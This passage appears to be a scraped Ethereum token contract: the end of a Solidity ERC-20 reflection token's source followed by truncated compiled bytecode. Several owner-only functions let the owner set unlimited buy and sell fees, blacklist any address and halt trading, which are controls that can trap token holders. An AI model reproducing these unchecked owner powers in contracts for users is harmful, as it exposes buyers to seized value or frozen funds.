}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101e2576000357c010000000000000000000000000000000000000000000000000000000090048063715018a61161011457806398a5c315116100b2578063bfd7928411610081578063bfd7928414610643578063c3c8cd8014610680578063dd62ed3e14610697578063ea1644d5146106d4576101e9565b806398a5c31514610577578063a2a957bb146105a0578063a9059cbb146105c9578063bdd795ef14610606576101e9565b80638da5cb5b116100ee5780638da5cb5b146104cd5780638f70ccf7146104f85780638f9a55c01461052157806395d89b411461054c576101e9565b8063715018a61461046257806374010ece146104795780637d1db4a5146104a2576101e9565b80632fd689e3116101815780636b9990531161015b5780636b999053146103bc5780636d8aa8f8146103e55780636fc3eaec1461040e57806370a0823114610425576101e9565b80632fd689e31461033b578063313ce5671461036657806349bd5a5e14610391576101e9565b80631694505e116101bd5780631694505e1461027f57806318160ddd146102aa57806323b872dd146102d55780632f9c456914610312576101e9565b8062b8cf2a146101ee57806306fdde0314610217578063095ea7b314610242576101e9565b366101e957005b600080fd5b3480156101fa57600080fd5b5061021560048036038101906102109190612d70565b6106fd565b005b34801561022357600080fd5b5061022c61084d565b60405161023991906131b9565b60405180910390f35b34801561024e57600080fd5b5061026960048036038101906102649190612d34565b61088a565b6040516102769190613183565b60405180910390f35b34801561028b57600080fd5b506102946108a8565b6040516102a1919061319e565b60405180910390f35b3480156102b657600080fd5b506102bf6108ce565b6040516102cc919061339b565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f79190612ca9565b6108e0565b6040516103099190613183565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190612cf8565b6109b9565b005b34801561034757600080fd5b50610350610b3c565b60405161035d919061339b565b60405180910390f35b34801561037257600080fd5b5061037b610b42565b6040516103889190613410565b60405180910390f35b34801561039d57600080fd5b506103a6610b4b565b6040516103b39190613168565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190612c1b565b610b71565b005b3480156103f157600080fd5b5061040c60048036038101906104079190612db1565b610c61565b005b34801561041a57600080fd5b50610423610d12565b005b34801561043157600080fd5b5061044c60048036038101906104479190612c1b565b610dfa565b604051610459919061339b565b60405180910390f35b34801561046e57600080fd5b50610477610e4b565b005b34801561048557600080fd5b506104a0600480360381019061049b9190612dda565b610f9e565b005b3480156104ae57600080fd5b506104b761103d565b6040516104c4919061339b565b60405180910390f35b3480156104d957600080fd5b506104e2611043565b6040516104ef9190613168565b60405180910390f35b34801561050457600080fd5b5061051f600480360381019061051a9190612db1565b61106c565b005b34801561052d57600080fd5b5061053661111e565b604051610543919061339b565b60405180910390f35b34801561055857600080fd5b50610561611124565b60405161056e91906131b9565b60405180910390f35b34801561058357600080fd5b5061059e60048036038101906105999190612dda565b611161565b005b3480156105ac57600080fd5b506105c760048036038101906105c29190612e03565b611200565b005b3480156105d557600080fd5b506105f060048036038101906105eb9190612d34565b6112b7565b6040516105fd9190613183565b60405180910390f35b34801561061257600080fd5b5061062d60048036038101906106289190612c1b565b6112d5565b60405161063a9190613183565b60405180910390f35b34801561064f57600080fd5b5061066a60048036038101906106659190612c1b565b6112f5565b6040516106779190613183565b60405180910390f35b34801561068c57600080fd5b50610695611315565b005b3480156106a357600080fd5b506106be60048036038101906106b99190612c6d565b6113ee565b6040516106cb919061339b565b60405180910390f35b3480156106e057600080fd5b506106fb60048036038101906106f69190612dda565b611475565b005b610705611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610792576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610789906132fb565b60405180910390fd5b60005b8151811015610849576001601060008484815181106107dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610841906136d5565b915050610795565b5050565b60606040518060400160405280600b81526020017f42524f574e204249534f4e000000000000000000000000000000000000000000815250905090565b600061089e610897611514565b848461151c565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006108ed8484846116e7565b6109ae846108f9611514565b6109a985604051806060016040528060288152602001613bbc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061095f611514565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f059092919063ffffffff16565b61151c565b600190509392505050565b6109c1611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a45906132fb565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad8906132bb565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b79611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfd906132fb565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c69611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ced906132fb565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d53611514565b73ffffffffffffffffffffffffffffffffffffffff161480610dc95750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610db1611514565b73ffffffffffffffffffffffffffffffffffffffff16145b610dd257600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff16319050610df781611f69565b50565b6000610e44600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612064565b9050919050565b610e53611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed7906132fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fa6611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a906132fb565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611074611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f8906132fb565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600781526020017f544154414e4b4100000000000000000000000000000000000000000000000000815250905090565b611169611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ed906132fb565b60405180910390fd5b8060198190555050565b611208611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c906132fb565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112cb6112c4611514565b84846116e7565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611356611514565b73ffffffffffffffffffffffffffffffffffffffff1614806113cc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113b4611514565b73ffffffffffffffffffffffffffffffffffffffff16145b6113d557600080fd5b60006113e030610dfa565b90506113eb816120d2565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61147d611514565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461150a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611501906132fb565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061337b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f39061325b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116da919061339b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174e9061333b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117be906131db565b60405180910390fd5b6000811161180a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118019061331b565b60405180910390fd5b611812611043565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118805750611850611043565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0457601660149054906101000a900460ff1661192657601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191c906131fb565b60405180910390fd5b5b60175481111561196b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119629061323b565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a0f5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a459061327b565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611afb5760185481611ab084610dfa565b611aba91906134d1565b10611afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af19061335b565b60405180910390fd5b5b6000611b0630610dfa565b9050600060195482101590506017548210611b215760175491505b808015611b3b5750601660159054906101000a900460ff16155b8015611b955750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611bab575060168054906101000a900460ff165b15611c0157611bb9826120d2565b60003073ffffffffffffffffffffffffffffffffffffffff163190506000811115611bff57611bfe3073ffffffffffffffffffffffffffffffffffffffff1631611f69565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611cab5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d5e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d5d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d6c5760009050611ef3565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e175750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e2f57600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611eda5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ef257600a54600c81905550600b54600d819055505b5b611eff84848484612404565b50505050565b6000838311158290611f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4491906131b9565b60405180910390fd5b5060008385611f5c91906135b2565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fb960028461243190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611fe4573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61203560028461243190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612060573d6000803e3d6000fd5b5050565b60006006548211156120ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a29061321b565b60405180910390fd5b60006120b561247b565b90506120ca818461243190919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612130577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561215e5781602001602082028036833780820191505090505b509050308160008151811061219c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561225a57600080fd5b505afa15801561226e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122929190612c44565b816001815181106122cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061233330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461151c565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016123b39594939291906133b6565b600060405180830381600087803b1580156123cd57600080fd5b505af11580156123e1573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612412576124116124a6565b5b61241d8484846124e9565b8061242b5761242a6126b4565b5b50505050565b600061247383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126c8565b905092915050565b600080600061248861272b565b9150915061249f818361243190919063ffffffff16565b9250505090565b6000600c541480156124ba57506000600d54145b156124c4576124e7565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124fb87612790565b95509550955095509550955061255986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ee85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263a816128a0565b612644848361295d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126a1919061339b565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000808311829061270f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270691906131b9565b60405180910390fd5b506000838561271e9190613527565b9050809150509392505050565b60008060006006549050600069152d02c7e14af6800000905061276369152d02c7e14af680000060065461243190919063ffffffff16565b8210156127835760065469152d02c7e14af680000093509350505061278c565b81819350935050505b9091565b60008060008060008060008060006127ad8a600c54600d54612997565b92509250925060006127bd61247b565b905060008060006127d08e878787612a2d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061283a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f05565b905092915050565b600080828461285191906134d1565b905083811015612896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288d9061329b565b60405180910390fd5b8091505092915050565b60006128aa61247b565b905060006128c18284612ab690919063ffffffff16565b905061291581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612972826006546127f890919063ffffffff16565b60068190555061298d8160075461284290919063ffffffff16565b6007819055505050565b6000806000806129c360646129b5888a612ab690919063ffffffff16565b61243190919063ffffffff16565b905060006129ed60646129df888b612ab690919063ffffffff16565b61243190919063ffffffff16565b90506000612a1682612a08858c6127f890919063ffffffff16565b6127f890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a468589612ab690919063ffffffff16565b90506000612a5d8689612ab690919063ffffffff16565b90506000612a748789612ab690919063ffffffff16565b90506000612a9d82612a8f85876127f890919063ffffffff16565b6127f890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612ac95760009050612b2b565b60008284612ad79190613558565b9050828482612ae69190613527565b14612b26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1d906132db565b60405180910390fd5b809150505b92915050565b6000612b44612b3f84613450565b61342b565b90508083825260208201905082856020860282011115612b6357600080fd5b60005b85811015612b935781612b798882612b9d565b845260208401935060208301925050600181019050612b66565b5050509392505050565b600081359050612bac81613b76565b92915050565b600081519050612bc181613b76565b92915050565b600082601f830112612bd857600080fd5b8135612be8848260208601612b31565b91505092915050565b600081359050612c0081613b8d565b92915050565b600081359050612c1581613ba4565b92915050565b600060208284031215612c2d57600080fd5b6000612c3b84828501612b9d565b91505092915050565b600060208284031215612c5657600080fd5b6000612c6484828501612bb2565b91505092915050565b60008060408385031215612c8057600080fd5b6000612c8e85828601612b9d565b9250506020612c9f85828601612b9d565b9150509250929050565b600080600060608486031215612cbe57600080fd5b6000612ccc86828701612b9d565b9350506020612cdd86828701612b9d565b9250506040612cee86828701612c06565b9150509250925092565b60008060408385031215612d0b57600080fd5b6000612d1985828601612b9d565b9250506020612d2a85828601612bf1565b9150509250929050565b60008060408385031215612d4757600080fd5b6000612d5585828601612b9d565b9250506020612d6685828601612c06565b9150509250929050565b600060208284031215612d8257600080fd5b600082013567ffffffffffffffff811115612d9c57600080fd5b612da884828501612bc7565b91505092915050565b600060208284031215612dc357600080fd5b6000612dd184828501612bf1565b91505092915050565b600060208284031215612dec57600080fd5b6000612dfa84828501612c06565b91505092915050565b60008060008060808587031215612e1957600080fd5b6000612e2787828801612c06565b9450506020612e3887828801612c06565b9350506040612e4987828801612c06565b9250506060612e5a87828801612c06565b91505092959194509250565b6000612e728383612e7e565b60208301905092915050565b612e87816135e6565b82525050565b612e96816135e6565b82525050565b6000612ea78261348c565b612eb181856134af565b9350612ebc8361347c565b8060005b83811015612eed578151612ed48882612e66565b9750612edf836134a2565b925050600181019050612ec0565b5085935050505092915050565b612f03816135f8565b82525050565b612f128161363b565b82525050565b612f218161365f565b82525050565b6000612f3282613497565b612f3c81856134c0565b9350612f4c818560208601613671565b612f55816137ab565b840191505092915050565b6000612f6d6023836134c0565b9150612f78826137bc565b604082019050919050565b6000612f90603f836134c0565b9150612f9b8261380b565b604082019050919050565b6000612fb3602a836134c0565b9150612fbe8261385a565b604082019050919050565b6000612fd6601c836134c0565b9150612fe1826138a9565b602082019050919050565b6000612ff96022836134c0565b9150613004826138d2565b604082019050919050565b600061301c602383613